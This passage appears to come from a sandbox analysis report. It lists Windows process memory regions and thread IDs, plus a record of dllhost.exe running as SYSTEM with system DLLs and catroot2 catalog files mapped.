pagefile_backed name = "pagefile_0x000000bd85a10000" filename = "" Region: id = 10636 start_va = 0xbd85fe0000 end_va = 0xbd8603ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85fe0000" filename = "" Region: id = 10637 start_va = 0xbd85fe0000 end_va = 0xbd85feffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd85fe0000" filename = "" Region: id = 10638 start_va = 0xbd85ff0000 end_va = 0xbd85ffffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd85ff0000" filename = "" Region: id = 10639 start_va = 0xbd86000000 end_va = 0xbd8600ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd86000000" filename = "" Region: id = 10640 start_va = 0xbd86010000 end_va = 0xbd8601ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd86010000" filename = "" Region: id = 10641 start_va = 0xbd86020000 end_va = 0xbd8602ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd86020000" filename = "" Region: id = 10642 start_va = 0xbd86030000 end_va = 0xbd8603ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd86030000" filename = "" Region: id = 10643 start_va = 0xbd857a0000 end_va = 0xbd857a0fff entry_point = 0x0 region_type = private name = "private_0x000000bd857a0000" filename = "" Region: id = 10644 start_va = 0xbd86350000 end_va = 0xbd8734ffff entry_point = 0x0 region_type = private name = "private_0x000000bd86350000" filename = "" Region: id = 10645 start_va = 0xbd85a20000 end_va = 0xbd85a20fff entry_point = 0x0 region_type = private name = "private_0x000000bd85a20000" filename = "" Region: id = 10646 start_va = 0xbd85a30000 end_va = 0xbd85a30fff entry_point = 0x0 region_type = private name = "private_0x000000bd85a30000" filename = "" Region: id = 10647 start_va = 0xbd85cc0000 end_va = 0xbd85cc0fff entry_point = 0x0 region_type = private name = "private_0x000000bd85cc0000" filename = "" Region: id = 10648 start_va = 0xbd87350000 end_va = 0xbd8735ffff entry_point = 0x0 region_type = private name = "private_0x000000bd87350000" filename = "" Region: id = 10649 start_va = 0xbd85cc0000 end_va = 0xbd85cc0fff entry_point = 0x0 region_type = private name = "private_0x000000bd85cc0000" filename = "" Region: id = 10650 start_va = 0xbd87350000 end_va = 0xbd8735ffff entry_point = 0x0 region_type = private name = "private_0x000000bd87350000" filename = "" Region: id = 10651 start_va = 0xbd85cc0000 end_va = 0xbd85cc0fff entry_point = 0x0 region_type = private name = "private_0x000000bd85cc0000" filename = "" Region: id = 10652 start_va = 0xbd87350000 end_va = 0xbd8735ffff entry_point = 0x0 region_type = private name = "private_0x000000bd87350000" filename = "" Region: id = 10653 start_va = 0xbd85cc0000 end_va = 0xbd85cc0fff entry_point = 0x0 region_type = private name = "private_0x000000bd85cc0000" filename = "" Region: id = 10654 start_va = 0xbd87350000 end_va = 0xbd8735ffff entry_point = 0x0 region_type = private name = "private_0x000000bd87350000" filename = "" Region: id = 10655 start_va = 0xbd85cc0000 end_va = 0xbd85cc3fff entry_point = 0x0 region_type = private name = "private_0x000000bd85cc0000" filename = "" Region: id = 10656 start_va = 0xbd87350000 end_va = 0xbd87351fff entry_point = 0x0 region_type = private name = "private_0x000000bd87350000" filename = "" Region: id = 10657 start_va = 0xbd87360000 end_va = 0xbd87360fff entry_point = 0x0 region_type = private name = "private_0x000000bd87360000" filename = "" Region: id = 10658 start_va = 0xbd87370000 end_va = 0xbd8757ffff entry_point = 0x0 region_type = private name = "private_0x000000bd87370000" filename = "" Region: id = 10659 start_va = 0xbd87580000 end_va = 0xbd87580fff entry_point = 0x0 region_type = private name = "private_0x000000bd87580000" filename = "" Region: id = 10660 start_va = 0xbd87590000 end_va = 0xbd87591fff entry_point = 0x0 region_type = private name = "private_0x000000bd87590000" filename = "" Region: id = 10661 start_va = 0xbd87370000 end_va = 0xbd8757ffff entry_point = 0x0 region_type = private name = "private_0x000000bd87370000" filename = "" Region: id = 10662 start_va = 0xbd87580000 end_va = 0xbd87581fff entry_point = 0x0 region_type = private name = "private_0x000000bd87580000" filename = "" Region: id = 10663 start_va = 0xbd87580000 end_va = 0xbd9757ffff entry_point = 0x0 region_type = private name = "private_0x000000bd87580000" filename = "" Region: id = 10664 start_va = 0xbd97580000 end_va = 0xbda757ffff entry_point = 0x0 region_type = private name = "private_0x000000bd97580000" filename = "" Region: id = 10665 start_va = 0xbda7580000 end_va = 0xbda7580fff entry_point = 0x0 region_type = private name = "private_0x000000bda7580000" filename = "" Region: id = 10666 start_va = 0xbda7590000 end_va = 0xbda759ffff entry_point = 0x0 region_type = private name = "private_0x000000bda7590000" filename = "" Region: id = 10667 start_va = 0xbda7590000 end_va = 0xbda7590fff entry_point = 0x0 region_type = private name = "private_0x000000bda7590000" filename = "" Region: id = 10668 start_va = 0xbda7590000 end_va = 0xbda759ffff entry_point = 0xbda7590000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10669 start_va = 0xbda75a0000 end_va = 0xbda75affff entry_point = 0xbda75a0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10670 start_va = 0xbda75b0000 end_va = 0xbda75bffff entry_point = 0xbda75b0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10671 start_va = 0xbda75c0000 end_va = 0xbda75cffff entry_point = 0xbda75c0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10672 start_va = 0xbda75d0000 end_va = 0xbda75dffff entry_point = 0xbda75d0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10673 start_va = 0xbda75e0000 end_va = 0xbda75effff entry_point = 0xbda75e0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10674 start_va = 0xbda75f0000 end_va = 0xbda75fffff entry_point = 0xbda75f0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10675 start_va = 0xbda7600000 end_va = 0xbda760ffff entry_point = 0xbda7600000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10676 start_va = 0xbda7610000 end_va = 0xbda761ffff entry_point = 0xbda7610000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10677 start_va = 0xbda7620000 end_va = 0xbda762ffff entry_point = 0xbda7620000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10678 start_va = 0xbda7630000 end_va = 0xbda763ffff entry_point = 0xbda7630000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10679 start_va = 0xbda7640000 end_va = 0xbda764ffff entry_point = 0xbda7640000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10680 start_va = 0xbda7650000 end_va = 0xbda765ffff entry_point = 0xbda7650000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10681 start_va = 0xbda7660000 end_va = 0xbda766ffff entry_point = 0xbda7660000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10682 start_va = 0xbda7670000 end_va = 0xbda767ffff entry_point = 0xbda7670000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10683 start_va = 0xbda7680000 end_va = 0xbda768ffff entry_point = 0xbda7680000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10684 start_va = 0xbda7690000 end_va = 0xbda7690fff entry_point = 0x0 region_type = private name = "private_0x000000bda7690000" filename = "" Region: id = 10685 start_va = 0xbda76a0000 end_va = 0xbda76affff entry_point = 0xbda76a0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10686 start_va = 0xbda76b0000 end_va = 0xbda76bffff entry_point = 0xbda76b0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10687 start_va = 0xbda76c0000 end_va = 0xbda76cffff entry_point = 0xbda76c0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 10688 start_va = 0xbda76d0000 end_va = 0xbdb76cffff entry_point = 0x0 region_type = private name = "private_0x000000bda76d0000" filename = "" Region: id = 10689 start_va = 0xbdb76d0000 end_va = 0xbdc76cffff entry_point = 0x0 region_type = private name = "private_0x000000bdb76d0000" filename = "" Region: id = 10690 start_va = 0xbdc76d0000 end_va = 0xbdc76d0fff entry_point = 0x0 region_type = private name = "private_0x000000bdc76d0000" filename = "" Region: id = 10691 start_va = 0xbdc76e0000 end_va = 0xbdc76effff entry_point = 0x0 region_type = private name = "private_0x000000bdc76e0000" filename = "" Region: id = 10692 start_va = 0xbdc76e0000 end_va = 0xbdc76e0fff entry_point = 0x0 region_type = private name = "private_0x000000bdc76e0000" filename = "" Region: id = 10693 start_va = 0xbdc76e0000 end_va = 0xbdc76effff entry_point = 0xbdc76e0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10694 start_va = 0xbdc76f0000 end_va = 0xbdc76fffff entry_point = 0xbdc76f0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10695 start_va = 0xbdc7700000 end_va = 0xbdc770ffff entry_point = 0xbdc7700000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10696 start_va = 0xbdc7710000 end_va = 0xbdc771ffff entry_point = 0xbdc7710000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10697 start_va = 0xbdc7720000 end_va = 0xbdc772ffff entry_point = 0xbdc7720000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10698 start_va = 0xbdc7730000 end_va = 0xbdc773ffff entry_point = 0xbdc7730000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10699 start_va = 0xbdc7740000 end_va = 0xbdc774ffff entry_point = 0xbdc7740000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10700 start_va = 0xbdc7750000 end_va = 0xbdc775ffff entry_point = 0xbdc7750000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10701 start_va = 0xbdc7760000 end_va = 0xbdc776ffff entry_point = 0xbdc7760000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10702 start_va = 0xbdc7770000 end_va = 0xbdc777ffff entry_point = 0xbdc7770000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10703 start_va = 0xbdc7780000 end_va = 0xbdc778ffff entry_point = 0xbdc7780000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10704 start_va = 0xbdc7790000 end_va = 0xbdc779ffff entry_point = 0xbdc7790000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10705 start_va = 0xbdc77a0000 end_va = 0xbdc77affff entry_point = 0xbdc77a0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10706 start_va = 0xbdc77b0000 end_va = 0xbdc77bffff entry_point = 0xbdc77b0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10707 start_va = 0xbdc77c0000 end_va = 0xbdc77cffff entry_point = 0xbdc77c0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10708 start_va = 0xbdc77d0000 end_va = 0xbdc77dffff entry_point = 0xbdc77d0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10709 start_va = 0xbdc77e0000 end_va = 0xbdc77effff entry_point = 0xbdc77e0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10710 start_va = 0xbdc77f0000 end_va = 0xbdc77fffff entry_point = 0xbdc77f0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10711 start_va = 0xbdc7800000 end_va = 0xbdc780ffff entry_point = 0xbdc7800000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10712 start_va = 0xbdc7810000 end_va = 0xbdc781ffff entry_point = 0xbdc7810000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 10713 start_va = 0xbdc7820000 end_va = 0xbdc782ffff entry_point = 0xbdc7820000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Thread: id = 361 os_tid = 0x100 Thread: id = 362 os_tid = 0xfc Thread: id = 363 os_tid = 0x108 Thread: id = 369 os_tid = 0x150 Thread: id = 381 os_tid = 0x1d8 Thread: id = 382 os_tid = 0x214 Thread: id = 384 os_tid = 0x128 Thread: id = 385 os_tid = 0x234 Thread: id = 386 os_tid = 0x238 Thread: id = 387 os_tid = 0x250 Thread: id = 514 os_tid = 0x5e0 Thread: id = 518 os_tid = 0x5e8 Thread: id = 527 os_tid = 0x61c Thread: id = 566 os_tid = 0x6a4 Thread: id = 582 os_tid = 0x6ec Thread: id = 584 os_tid = 0x6f8 Thread: id = 593 os_tid = 0x71c Thread: id = 595 os_tid = 0x724 Thread: id = 598 os_tid = 0x730 Thread: id = 600 os_tid = 0x738 Thread: id = 603 os_tid = 0x744 Thread: id = 604 os_tid = 0x748 Thread: id = 685 os_tid = 0x6f4 Thread: id = 698 os_tid = 0x4a4 Thread: id = 699 os_tid = 0x48c Thread: id = 700 os_tid = 0x7c4 Thread: id = 721 os_tid = 0x818 Thread: id = 726 os_tid = 0x82c Thread: id = 743 os_tid = 0x86c Thread: id = 744 os_tid = 0x870 Thread: id = 747 os_tid = 0x87c Process: id = "50" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x629bc000" os_pid = "0x118" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x228" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\MsKeyboardFilter" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000abd2" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 4426 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4427 start_va = 0x38520b0000 end_va = 0x38520cffff entry_point = 0x0 region_type = private name = "private_0x00000038520b0000" filename = "" Region: id = 4428 start_va = 0x38520d0000 end_va = 0x38520defff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000038520d0000" filename = "" Region: id = 4429 start_va = 0x38520e0000 end_va = 0x38521dffff entry_point = 0x0 region_type = private name = "private_0x00000038520e0000" filename = "" Region: id = 4430 start_va = 0x38521e0000 end_va = 0x38521e3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000038521e0000" filename = "" Region: id = 4431 start_va = 0x7ff60bd00000 end_va = 0x7ff60bd22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff60bd00000" filename = "" Region: id = 4432 start_va = 0x7ff60bd2d000 end_va = 0x7ff60bd2efff entry_point = 0x0 region_type = private name = "private_0x00007ff60bd2d000" filename = "" Region: id = 4433 start_va = 0x7ff60bd2f000 end_va = 0x7ff60bd2ffff entry_point = 0x0 region_type = private name = "private_0x00007ff60bd2f000" filename = "" Region: id = 4434 start_va = 0x7ff60bd90000 end_va = 0x7ff60bd96fff entry_point = 0x7ff60bd90000 region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe") Region: id = 4435 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4436 start_va = 0x38521f0000 end_va = 0x38521f1fff entry_point = 0x0 region_type = private name = "private_0x00000038521f0000" filename = "" Region: id = 4443 start_va = 0x38523c0000 end_va = 0x38524bffff entry_point = 0x0 region_type = private name = "private_0x00000038523c0000" filename = "" Region: id = 4444 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4445 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4446 start_va = 0x38520b0000 end_va = 0x38520bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000038520b0000" filename = "" Region: id = 4447 start_va = 0x7ff60bc00000 end_va = 0x7ff60bcfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff60bc00000" filename = "" Region: id = 4448 start_va = 0x3852200000 end_va = 0x385227dfff entry_point = 0x3852200000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4449 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4450 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4451 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4452 start_va = 0x3852280000 end_va = 0x38522affff entry_point = 0x0 region_type = private name = "private_0x0000003852280000" filename = "" Region: id = 4453 start_va = 0x38520c0000 end_va = 0x38520c6fff entry_point = 0x0 region_type = private name = "private_0x00000038520c0000" filename = "" Region: id = 4454 start_va = 0x38522b0000 end_va = 0x3852369fff entry_point = 0x38522dc768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4455 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4456 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4457 start_va = 0x3852280000 end_va = 0x3852286fff entry_point = 0x0 region_type = private name = "private_0x0000003852280000" filename = "" Region: id = 4458 start_va = 0x38522a0000 end_va = 0x38522affff entry_point = 0x0 region_type = private name = "private_0x00000038522a0000" filename = "" Region: id = 4459 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4460 start_va = 0x3852290000 end_va = 0x3852290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003852290000" filename = "" Region: id = 4461 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4462 start_va = 0x38522b0000 end_va = 0x38522b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000038522b0000" filename = "" Region: id = 4463 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4464 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" 